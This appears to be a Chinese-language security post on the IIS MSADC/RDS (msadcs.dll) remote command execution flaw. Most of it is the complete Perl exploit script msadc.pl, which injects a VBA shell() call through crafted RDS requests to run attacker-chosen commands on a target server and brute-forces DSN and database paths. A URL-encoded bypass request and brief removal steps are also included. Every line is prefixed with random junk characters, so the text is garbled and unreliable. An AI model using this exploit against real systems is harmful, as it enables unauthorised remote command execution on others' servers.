IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
uL)MbM] E6GubU 涉及程序：
%uo 8z~+ Microsoft NT server
j# f/M3 OmuE l> 描述：
:P q&l. 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
c^= q(V 8
o}5QOW 详细：
k1D7=&i 如果你没有时间读详细内容的话，就删除:
w5z] =dN c:\Program Files\Common Files\System\Msadc\msadcs.dll
mRx `G(u:v 有关的安全问题就没有了。
b_Y+XXb< 9SeGkwec?$ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
( `4& h %g cP tDIc, 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
F,_cci`p 关于利用ODBC远程漏洞的描述，请参看:
) , {3LIr 2M+RA}dX http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm /eH f8l lSR\wz*Fk 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
L~ax`i1 :" http://www.microsoft.com/security/bulletins/MS99-025faq.asp XF: wsC EG\L]fmD 这里不再论述。
Sp[9vlo8 $MasYi 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
~"S5KroN J.rS@Z`~7 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
rX$-K\4W 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
R}Zaz3( Hd ANPG3^w ]yKwH 9sl #将下面这段保存为txt文件，然后: "perl -x 文件名"
wp:$Tq a$ 8T Yh&n=r #!perl
eQQVfEvS #
8GxT ! # MSADC/RDS 'usage' (aka exploit) script
0 iSNom}m #
ub 2'|CYw # by rain.forest.puppy
;7Qe m& #
xF UD 9TM
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
u&p8S#e # beta test and find errors!
^I/(9KP# "a(R>PV% use Socket; use Getopt::Std;
^Whc<>| getopts("e:vd:h:XR", \%args);
jEKa9rt 0(&uH0x print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
5M\0t\uE n Mxz
X@GBX if (!defined $args{h} && !defined $args{R}) {
,~ ;`@ print qq~
5%S5*c6B D Usage: msadc.pl -h <host> { -d <delay> -X -v }
rKPsv *w -h <host> = host you want to scan (ip or domain)
}c/#W A|b -d <seconds> = delay between calls, default 1 second
QPVr:+\B{ -X = dump Index Server path table, if available
8;=?F>]xn -v = verbose
W=2.0QmW -e = external dictionary file for step 5
IF>v
-Z |\B\IPs{%' Or a -R will resume a command session
L\Oxyi<{ Uj 3{c ~; exit;}
sUF5Y q:9 VII`qbxT $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
_6FDuCVD- if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
*RkvM?o@jC if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Bptt" if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Yp m*or $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
b<fN,U< k if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
C t /6< Ql7opl,
if (!defined $args{R}){ $ret = &has_msadc;
j+< !4 0# die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
1slt[&4N Y\!:/h]E& print "Please type the NT commandline you want to run (cmd /c assumed):\n"
"~C \Z} ; . "cmd /c ";
|RpZr!3V $in=<STDIN>; chomp $in;
qyyLU@hd $command="cmd /c " . $in ;
i_6 wD 8Pom^QopK if (defined $args{R}) {&load; exit;}
( `n*d3 tSDp>0yZ3 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
E3Z>R=s &try_btcustmr;
-NG9?sI\U =L$RY2S" print "\nStep 2: Trying to make our own DSN...";
^(xVjsHp# &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
7.5\LTM>9e 17Q*
<iCs print "\nStep 3: Trying known DSNs...";
j@Us7Q)A( &known_dsn;
nkk GJV! su j}A print "\nStep 4: Trying known .mdbs...";
jaThS!>v &known_mdb;
t[%=[pJHW QL(}k)dB if (defined $args{e}){
`).;W print "\nStep 5: Trying dictionary of DSN names...";
0txSF^x &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
lSId<v?C> x^F2Ywp% print "Sorry Charley...maybe next time?\n";
'.&,.E&{$ exit;
y(#F&^| hYCyc -W ##############################################################################
GLl@
6S>v ZG)C#I1;O sub sendraw { # ripped and modded from whisker
Jf2:[ Mq sleep($delay); # it's a DoS on the server! At least on mine...
N_!Zn"J my ($pstr)=@_;
of<>M4/g4y socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
L3Q1az !Ct die("Socket problems\n");
Q!%CU8!`& if(connect(S,pack "SnA4x8",2,80,$target)){
CQY/q@7 select(S); $|=1;
a -TsD}'X print $pstr; my @in=<S>;
Y@'1}=`J select(STDOUT); close(S);
"ZVBn!
return @in;
8< ^6<c } else { die("Can't connect...\n"); }}
^_Z Qf :kI
x?cc ##############################################################################
.uagD[${ d>4e9M " sub make_header { # make the HTTP request
B<'V7#L_ my $msadc=<<EOT
H+2J.&Ch POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
HNoh B4vt User-Agent: ACTIVEDATA
7]9s_13] Host: $ip
-ap;Ul? Content-Length: $clen
e;}5~dSi Connection: Keep-Alive
f4T-=` SO
?Ve5}N ADCClientVersion:01.06
J=]w$e ?.P Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Zr 2QeLQC( u=
+ --!ADM!ROX!YOUR!WORLD!
f{z%P I[ Content-Type: application/x-varg
{78*S R Content-Length: $reqlen
{ K0T%.G uJp}9B60_ EOT
g9"_ BG ; $msadc=~s/\n/\r\n/g;
1y 8:tri>N return $msadc;}
7#|NQ=yd Sdt2D ##############################################################################
&FvN z lB\j>.c sub make_req { # make the RDS request
?y45# Tk] my ($switch, $p1, $p2)=@_;
LveqG my $req=""; my $t1, $t2, $query, $dsn;
!%M-w0vC9 :U[_V4? 7 if ($switch==1){ # this is the btcustmr.mdb query
E 0pF; P5 $query="Select * from Customers where City=" . make_shell();
C X'E+ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
s9GPDfZ
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
TAC\2*bWje @ %cJjZ5y elsif ($switch==2){ # this is general make table query
"RX?"pB $query="create table AZZ (B int, C varchar(10))";
{}^ELw $dsn="$p1";}
LA@}{hU x}>tX elsif ($switch==3){ # this is general exploit table query
u!`C:C' $query="select * from AZZ where C=" . make_shell();
]R>k0X.V $dsn="$p1";}
b~1p.J4 YL= k&Q G elsif ($switch==4){ # attempt to hork file info from index server
!<6wrOMa O $query="select path from scope()";
".i{WyTt $dsn="Provider=MSIDXS;";}
c`}X2u]k K+$c,1wb elsif ($switch==5){ # bad query
m[7:p{ $query="select";
ft6^s(t $dsn="$p1";}
pn7 :")Zx yEqmB4^- $t1= make_unicode($query);
uN(~JPAw5 $t2= make_unicode($dsn);
^{K8uN7 $req = "\x02\x00\x03\x00";
x[^A 9 $req.= "\x08\x00" . pack ("S1", length($t1));
\j;uN#)28 $req.= "\x00\x00" . $t1 ;
G- (c+6Mn $req.= "\x08\x00" . pack ("S1", length($t2));
!^fJAtCN] $req.= "\x00\x00" . $t2 ;
KE&}*Nf[ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
7~Ga>BK return $req;}
-pGt ; k"7eHSy, ##############################################################################
dGteYt_F ZAH<!@qh sub make_shell { # this makes the shell() statement
jgo@~,5R return "'|shell(\"$command\")|'";}
l >(G3l Iw bv4cw#5z$9 ##############################################################################
zB$6e!fc 7Mv$.Z( sub make_unicode { # quick little function to convert to unicode
.nH
/=
my ($in)=@_; my $out;
kZ.3\ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
*&0Hz{| return $out;}
9|WWA %p ?^vZ{B)&0E ##############################################################################
f,a %@WT X[~CLKH( sub rdo_success { # checks for RDO return success (this is kludge)
ZtLn *M my (@in) = @_; my $base=content_start(@in);
?.4l1X6Ba if($in[$base]=~/multipart\/mixed/){
ncdr/(` return 1 if( $in[$base+10]=~/^\x09\x00/ );}
.am*d|&+G return 0;}
~=mM/@HD feW9 >f; ##############################################################################
E\S&} K,s `j! [ sub make_dsn { # this makes a DSN for us
*a% PA(%6 my @drives=("c","d","e","f");
,s76]$ %4 print "\nMaking DSN: ";
Q8q_w2s, foreach $drive (@drives) {
Pvw %,=41O print "$drive: ";
w$ { my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
cj#q7 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
%$x FnGb . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
6 {Z\cwP)c $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
x +e
_pb return 0 if $2 eq "404"; # not found/doesn't exist
yMkd|1 if($2 eq "200") {
`7_LJ
\>I foreach $line (@results) {
,AM-cwwT:u return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
eFI 4(Y } return 0;}
\(FD R _64@zdL+ ##############################################################################
j2Y(Q/i o ?FUVK sub verify_exists {
( `+Z'Y my ($page)=@_;
xlO2jSSAt my @results=sendraw("GET $page HTTP/1.0\n\n");
SXz([Z{) return $results[0];}
}aM`Jp-O | ]cDz
##############################################################################
LeyDs>! 0 8Q -F sub try_btcustmr {
U9 *2< c my @drives=("c","d","e","f");
Oha g%<1# my @dirs=("winnt","winnt35","winnt351","win","windows");
#Vigu,zY hFfaaB foreach $dir (@dirs) {
! V Zj!\I print "$dir -> "; # fun status so you can see progress
>pvg0Fh foreach $drive (@drives) {
>NA7,Z2. print "$drive: "; # ditto
NF!1) $reqlen=length( make_req(1,$drive,$dir) ) - 28;
+:%FJCOT $reqlenlen=length( "$reqlen" );
n^02@Aw $clen= 206 + $reqlenlen + $reqlen;
- (}1o9e\7 tlgvBRH > my @results=sendraw(make_header() . make_req(1,$drive,$dir));
"'B%.a#k if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Sg>0P*K@ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
!y~b;>887 j]"xck ##############################################################################
S\;.nAR -$t,}3 sub odbc_error {
am+mXb my (@in)=@_; my $base;
ha! "BR my $base = content_start(@in);
9 /(c cj if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
D#1~]d $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
1T,PC?vr{ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
by[i"!RCu $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
i%4 k5[f.: return $in[$base+4].$in[$base+5].$in[$base+6];}
-z$2pXT ^ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
HbfB[% print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
TF-Ty $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
S{T d/1} jY+S,l D ##############################################################################
`j}d=zZ ]UT|BE4v sub verbose {
!o': \hex6 my ($in)=@_;
!g fhEz Y return if !$verbose;
_C,@eu"9V print STDOUT "\n$in\n";}
f\U&M,L\ ' @[lc0_ b ##############################################################################
oImgj4C2L AWXpA1( sub save {
?lN8~Ze my ($p1, $p2, $p3, $p4)=@_;
M2Fj)w2 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
M.N~fSJ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
S} Cp&}G{P close OUT;}
R 0HVLQI .]s( c !{y ##############################################################################
9XqAjez\ \Fg6 b6 sub load {
#x@lZ! Y my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
{V% O4/ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
,nB3c5X)| @p=<IN>; close(IN);
Z WRRh^ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
8{SU?MHQLE $target= inet_aton($ip) || die("inet_aton problems");
G? gXK W print "Resuming to $ip ...";
D *I;|.=u $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
35 5Sd;* if($p[1]==1) {
D>b5Uwt $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
<-B"| u $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
]Bd3d% my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
|EV\a[ if (rdo_success(@results)){print "Success!\n";}
!FO^:V<|5 else { print "failed\n"; verbose(odbc_error(@results));}}
#lsh N,CPm elsif ($p[1]==3){
6mpg&'> if(run_query("$p[3]")){
pNE\@U|4E print "Success!\n";} else { print "failed\n"; }}
@ PoFxv elsif ($p[1]==4){
fCf#zV[ if(run_query($drvst . "$p[3]")){
K}E7|gdG print "Success!\n"; } else { print "failed\n"; }}
h<' 5q&y exit;}
Oqpl2Y" / -jtC>_/ ##############################################################################
14n="-9 -N8cj r4l sub create_table {
O< tnM<"( my ($in)=@_;
}i7U}T $reqlen=length( make_req(2,$in,"") ) - 28;
G k"L%Zt) $reqlenlen=length( "$reqlen" );
v<3o[m q $clen= 206 + $reqlenlen + $reqlen;
Hn9F
gul& my @results=sendraw(make_header() . make_req(2,$in,""));
h>Uid
&:? return 1 if rdo_success(@results);
vo6[2.HS my $temp= odbc_error(@results); verbose($temp);
o47 f return 1 if $temp=~/Table 'AZZ' already exists/;
^Z>B/aJq return 0;}
xPDA475Cw3 F\=R m ##############################################################################
Ep\ k/_8!^:' sub known_dsn {
|[owNV> # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
7XVzd]jH my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
ocl47 )
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
yI.}3y{^5 "banner", "banners", "ads", "ADCDemo", "ADCTest");
nJ*mEB ' `]n _$f' foreach $dSn (@dsns) {
De
nt? print ".";
Awa|rIM next if (!is_access("DSN=$dSn"));
|v$%V # Bo if(create_table("DSN=$dSn")){
\YlF>{LVe print "$dSn successful\n";
-M:hlwha if(run_query("DSN=$dSn")){
q]N?@l] print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
}>; ht5/i/ print "Something's borked. Use verbose next time\n";}}} print "\n";}
ewAH'H]o ~S^ X"8(U ##############################################################################
`o_f UOe8a c/=y*2,zo sub is_access {
Y0PGT5].@' my ($in)=@_;
E +Ujpd $reqlen=length( make_req(5,$in,"") ) - 28;
OS"{"P $reqlenlen=length( "$reqlen" );
^s2m\Q( $clen= 206 + $reqlenlen + $reqlen;
_[TH@fO6: my @results=sendraw(make_header() . make_req(5,$in,""));
' o/N}E!Pt my $temp= odbc_error(@results);
sArje(5Eo verbose($temp); return 1 if ($temp=~/Microsoft Access/);
t8A kdSU0 return 0;}
b@ wBR9 s C,{F0-D ##############################################################################
x A& Cgz&@@j,] sub run_query {
Z\|u9DO my ($in)=@_;
h
eE'S/ $reqlen=length( make_req(3,$in,"") ) - 28;
WjY{rM,K $reqlenlen=length( "$reqlen" );
vr{'FMc $clen= 206 + $reqlenlen + $reqlen;
5>ADw3z' my @results=sendraw(make_header() . make_req(3,$in,""));
0Oc} rRH(C return 1 if rdo_success(@results);
>lraYMc<rZ my $temp= odbc_error(@results); verbose($temp);
` y^zM/Ib return 0;}
_oJ2]f6KX Dh &:- ##############################################################################
, G[r+4|h c{mKra sub known_mdb {
>P \h,1 my @drives=("c","d","e","f","g");
A,m4WO_q3 my @dirs=("winnt","winnt35","winnt351","win","windows");
D Hm[8 Qp my $dir, $drive, $mdb;
~Jwp NJs my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
ShWHHU(QQ G{NSAaD[ # this is sparse, because I don't know of many
CJ9cCtA my @sysmdbs=( "\\catroot\\icatalog.mdb",
%XJQ0CE<( "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
w.J%qWJq "\\system32\\certmdb.mdb",
G Sz @rDGY "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
k-WHHoU>o U#;51 _ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
HQ^9 [HN. "\\cfusion\\cfapps\\forums\\forums_.mdb",
a [1sA12 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Pqy-gWOv "\\cfusion\\cfapps\\security\\realm_.mdb",
N>d|A]zH "\\cfusion\\cfapps\\security\\data\\realm.mdb",
,4H;P/xsb "\\cfusion\\database\\cfexamples.mdb",
i1qS ns "\\cfusion\\database\\cfsnippets.mdb",
Jo{ zy "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
mb0n}I_AC "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
Ky[bX "\\cfusion\\brighttiger\\database\\cleam.mdb",
kqVg2#<@M "\\cfusion\\database\\smpolicy.mdb",
8^/+wa+G "\\cfusion\\database\cypress.mdb",
cT-K@dg "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
3yTQ "\\website\\cgi-win\\dbsample.mdb",
@72x`&|I?u "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
4 ,p#:! "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
eM?rc55| ); #these are just
t a&Q4v&- foreach $drive (@drives) {
8To7c foreach $dir (@dirs){
&sm
@ foreach $mdb (@sysmdbs) {
owE<7TGPI? print ".";
(jM<T;4 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
2c}B print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
V~OUE]]Q if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
O.*jR`l print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
Z0e-W:&;kF } else { print "Something's borked. Use verbose next time\n"; }}}}}
~TYbP 9v~1We;{$ foreach $drive (@drives) {
"_ L kZBW. foreach $mdb (@mdbs) {
DVObrL)znL print ".";
7dSh3f! if(create_table($drv . $drive . $dir . $mdb)){
3YR *
^ print "\n" . $drive . $dir . $mdb . " successful\n";
sf Dg/ a if(run_query($drv . $drive . $dir . $mdb)){
{bN Y print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
H}vn$$
O } else { print "Something's borked. Use verbose next time\n"; }}}}
XjX 2[*l }
kr^ 0% A 7egq4gN]2Y ##############################################################################
P,(9c yS{ YM i/uy sub hork_idx {
vx'l> @]k print "\nAttempting to dump Index Server tables...\n";
j*X jY[ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
x'@W=P 7 $reqlen=length( make_req(4,"","") ) - 28;
<z,+Eg $reqlenlen=length( "$reqlen" );
eaEbH2J $clen= 206 + $reqlenlen + $reqlen;
>GgE,h my @results=sendraw2(make_header() . make_req(4,"",""));
A*hZv|$0 if (rdo_success(@results)){
^Sw2xT$p{j my $max=@results; my $c; my %d;
Qe_+r(3)k for($c=19; $c<$max; $c++){
WhH!U0 $results[$c]=~s/\x00//g;
#+$ zE#je $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
v{r1E]rY $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
-!l^ ]MU $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
Q |%-9^ $d{"$1$2"}="";}
yX`#s]M foreach $c (keys %d){ print "$c\n"; }
[O\9 9> } else {print "Index server doesn't seem to be installed.\n"; }}
]
@ufV ?H`j>]%& ##############################################################################
\Dfm ( R d , UCH sub dsn_dict {
#G[t X6gU open(IN, "<$args{e}") || die("Can't open external dictionary\n");
8&%Cy'TIz4 while(<IN>){
[_V:) $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
%yfE7UPS] next if (!is_access("DSN=$dSn"));
c-5Ysg if(create_table("DSN=$dSn")){
z?4=h Sy print "$dSn successful\n";
LX\)8~dp if(run_query("DSN=$dSn")){
6x/s|RWL1 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
okstY 4f' print "Something's borked. Use verbose next time\n";}}}
~q 7;8<U print "\n"; close(IN);}
"kU ] * jE;9^ ##############################################################################
/D'M 2 4 J#''q"rZ sub sendraw2 { # ripped and modded from whisker
{ D+Ym%n sleep($delay); # it's a DoS on the server! At least on mine...
6 T_K9 my ($pstr)=@_;
pw\P<9e= socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
U7h(-dV
die("Socket problems\n");
>La><.z~ if(connect(S,pack "SnA4x8",2,80,$target)){
9,scH65x print "Connected. Getting data";
\x(^]/@ open(OUT,">raw.out"); my @in;
f!x[ln< select(S); $|=1; print $pstr;
L =]p_2+ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
m*dNrG close(OUT); select(STDOUT); close(S); return @in;
-uj3'g (;w } else { die("Can't connect...\n"); }}
o/^ 1Wm= ezUQ>
e ##############################################################################
APq7 f8t Juu+vMn1 sub content_start { # this will take in the server headers
Us=eq "eu my (@in)=@_; my $c;
~8{sA5y for ($c=1;$c<500;$c++) {
KP{3iUqvO if($in[$c] =~/^\x0d\x0a/){
y3JMbl[S0 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
I ]9 C_ else { return $c+1; }}}
\f%.n]> return -1;} # it should never get here actually
8EI:(NE*J $gvr
- ~ ##############################################################################
? :uNN VD [pZ2;4 sub funky {
"VTF}#Uo my (@in)=@_; my $error=odbc_error(@in);
)R &,'`\ if($error=~/ADO could not find the specified provider/){
DpvrMI~I_ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
Jzex]_:1~ exit;}
w7
*V^B if($error=~/A Handler is required/){
)/ >A6A: print "\nServer has custom handler filters (they most likely are patched)\n";
~*-qX$gr exit;}
}`_(<H if($error=~/specified Handler has denied Access/){
[E|uY]DR print "\nServer has custom handler filters (they most likely are patched)\n";
#]Y*0Wzpfn exit;}}
T$P -<s {v,)G)obWw ##############################################################################
#^0( g) 1X&> sub has_msadc {
E ]f)Os$ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
D(\$i.,b2 my $base=content_start(@results);
Bm /YgQi return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
r,;\/^ u* return 0;}
fzPZ| uMd. j$$ ########################
+>tUz D VaR/o # K Y.ZT2k 解决方案：
Q2QY* A 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
<]U1\~j 2、移除web 目录: /msadc
